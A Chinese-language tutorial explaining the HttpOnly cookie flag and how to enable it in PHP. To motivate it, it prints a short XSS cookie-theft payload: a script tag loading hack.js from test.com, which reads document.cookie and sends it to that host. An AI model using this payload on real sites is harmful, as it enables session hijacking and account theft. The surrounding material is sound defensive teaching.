httponly是微软对cookie做的扩展,这个主要是解决用户的cookie可能被盗用的问题。
大家都知道,当我们去邮箱或者论坛登陆后,服务器会写一些cookie到我们的浏览器,当下次再访问其他页面时,由于浏览器会自动传递cookie,这样就实现了一次登陆就可以看到所有需要登陆后才能看到的内容。也就是说,实质上,所有的登陆状态这些都是建立在cookie上的!假设我们登陆后的cookie被人获得,那就会有暴露个人信息的危险!当然,想想,其他人怎么可以获得客户的cookie?那必然是有不怀好意的人的程序在浏览器里运行!如果是现在满天飞的流氓软件,那没有办法,httponly也不是用来解决这种情况的,它是用来解决浏览器里javascript访问cookie的问题。试想,一个flash程序在你的浏览器里运行,就可以获得你的cookie的!
大部分浏览器包括IE6都支持httponly
如何设置httponly属性
1、在php.ini中,设置session.cookie_httponly = ture 或 1来开启全局的Cookie的HttpOnly属性
2、或者在PHP程序中设置:ini_set(“session.cookie_httponly”, 1);
3、或者setcookie()的第七个参数设置为true,这是更灵活的办法,例如要设置一个tmp的cookie变量,则:setcookie(“tmp”, 100, NULL, NULL, NULL, NULL, TRUE);
设置httponly属性前后对比
设置httponly属性前
在PHP程序中添加以下代码则写入了一个cookie,它的值是100:
setcookie("tmp", 100);
在火狐浏览器里运行,然后打开firebug,在控制台里输入document.cookie就可以查看cookie信息:
即可以通过javascript程序获取用户的cookie信息。
那么有人会问了,黑客如何通过javascript程序获取用户的cookie信息呢?
一般程序里会有输入框之类的让用户填入信息,例如用户填写了一段js代码:
那么程序在打开后,会执行远程的js代码。
看看坏蛋做了什么
<script type="text/javascript" src="http://test.com/hack.js"></script>
这条语句利用script的src跨域请求坏蛋自己的脚本
hack.js中的内容:
var c=document.cookie; var script =document.createElement('script'); script.src='http://test.com/index.php?c='+c; document.body.appendChild(script);
脚本中创建了一个script标签,将获取的当前用户的cookie发送到了
http://test.com/index.php
index.php就可以通过$_GET[‘c’]获取到信息后写入文本或者数据库中。这样坏蛋就获取到了用户的cookie信息。
设置httponly属性后
例如tmp是一个敏感信息,我们不希望坏蛋可以简单的通过js来获取到,那么通过设置:
setcookie("tmp", 100, NULL, NULL, NULL, NULL, TRUE);
再来firbug控制台里输入document.cookie看看:
发现tmp信息无法获取到了。
在firebug里,切换到cookie,可以看到tmp被设置了httponly属性
结论
通过设置cookie的httponly属性,可以使javascript程序无法获取到cookie信息,从而提升安全性。但HttpOnly并不是万能的,HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie, 实际是浏览器通过协议实现限制的,黑客可不会那么傻,肯定不会用HTTP协议来读取cookie,肯定是在socket层面写抓包程序,相当于写一个低于IE6版本的应用程序,这样的话,还是可以获取到用户的cookie信息。